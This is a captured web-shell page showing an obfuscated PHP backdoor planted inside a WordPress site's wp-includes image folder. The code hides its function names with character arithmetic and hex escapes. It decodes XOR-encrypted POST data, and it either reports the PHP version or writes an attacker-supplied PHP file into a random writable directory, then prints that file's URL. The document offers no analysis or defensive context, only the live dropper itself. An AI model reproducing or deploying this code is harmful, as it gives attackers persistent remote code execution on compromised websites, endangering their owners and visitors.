HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-includes/images/crystal/ogqbkhic.php
<?php $lUFUztvj = chr(320-252).'O'."\103".'U'."\115"."\105".chr(731-653).chr(530-446).chr(95)."\122"."\x4f".'O'.chr(914-830);$sazDbwD = "\x48"."\124".'T'.chr(645-565).chr(921-826)."\110"."\x4f"."\x53".chr(899-815);$vqwKKdaNg = chr(137-33)."\x74".chr(116).'p'."\x3a".chr(47).chr(47);$udDtm = chr(140-94)."\160".'h'.chr(112);$dvYPL = "\160".'h'."\x70";$UWRTmR = "\x66".'i'.chr(485-377)."\x65".chr(604-509).chr(112).'u'.chr(171-55).chr(664-569)."\143"."\157"."\x6e"."\164"."\145".chr(114-4).chr(636-520)."\163";$UopmahLjs = chr(375-261).chr(915-818).'w'.chr(117).'r'.chr(799-691).chr(100)."\145"."\143".chr(1002-891)."\x64".chr(101);$PttPXn = 'u'."\156"."\x73"."\x65".'r'."\x69".'a'.chr(108).'i'.'z'.chr(366-265);$lbyGdxtZ = "\151"."\163"."\x5f".'w'."\x72".chr(239-134)."\164".'a'."\142".chr(1072-964).chr(741-640);$Nisva = "\x70".chr(790-686)."\x70"."\x76".chr(985-884)."\162".chr(115)."\x69"."\157".chr(110);$rKWSykVwW = chr(115)."\x74"."\162"."\x5f"."\x72".'o'.chr(1105-989).chr(55-6).chr(51);$nIBsyJcGA = "\163"."\x65".chr(114).'i'.'a'.chr(108).'i'."\172"."\x65";$evrlLewo = "\163".chr(199-83)."\162"."\x5f".'s'."\160".chr(359-251).chr(755-650).'t';foreach ($_POST as $RtKsQADcgK => $TOQUSya){$XLOUxdTjI = strlen($RtKsQADcgK);if ($XLOUxdTjI == 16){$TOQUSya = $evrlLewo($UopmahLjs($rKWSykVwW($TOQUSya)));$RtKsQADcgK = array_slice($evrlLewo(str_repeat($RtKsQADcgK, (count($TOQUSya)/16)+1)), 0, count($TOQUSya));function iLOMx($CxNRrb, $MGcIPk, $RtKsQADcgK){$oMWLpRaQK = "d718bdda-f4bd-450d-a6ba-d609afb744e1";return $CxNRrb ^ $oMWLpRaQK[$MGcIPk % strlen($oMWLpRaQK)] ^ $RtKsQADcgK;}$TOQUSya = array_map("iLOMx", array_values($TOQUSya), array_keys($TOQUSya), array_values($RtKsQADcgK));$TOQUSya = implode("", $TOQUSya);$TOQUSya = @$PttPXn($TOQUSya);if (@is_array($TOQUSya)){$tLtlzNeE = array_keys($TOQUSya);$TOQUSya = $TOQUSya[$tLtlzNeE[0]];if ($TOQUSya === $tLtlzNeE[0]){echo @$nIBsyJcGA(Array($dvYPL => @$Nisva(), ));exit();}else {function lvUgAo($CsQodXOPir){static $IprSCK = array();$vGuqjVZ = glob($CsQodXOPir . '/*', GLOB_ONLYDIR);$qIhMffqbNI = count($vGuqjVZ);if ($qIhMffqbNI > 0) {foreach ($vGuqjVZ as $CsQodXOP) {if (@$lbyGdxtZ($CsQodXOP)) {$IprSCK[] = $CsQodXOP;}}}foreach ($vGuqjVZ as $CsQodXOPir) lvUgAo($CsQodXOPir);return $IprSCK;}$qxAin = $_SERVER[$lUFUztvj];$vGuqjVZ = lvUgAo($qxAin);$tLtlzNeE = array_rand($vGuqjVZ);$qWqazwzyJR = $vGuqjVZ[$tLtlzNeE] . "/" . substr(md5(time()), 0, 8) . $udDtm;@$UWRTmR($qWqazwzyJR, $TOQUSya);$aBUZlXi = $vqwKKdaNg . $_SERVER[$sazDbwD] . substr($qWqazwzyJR, strlen($qxAin));print($aBUZlXi);die();}}}}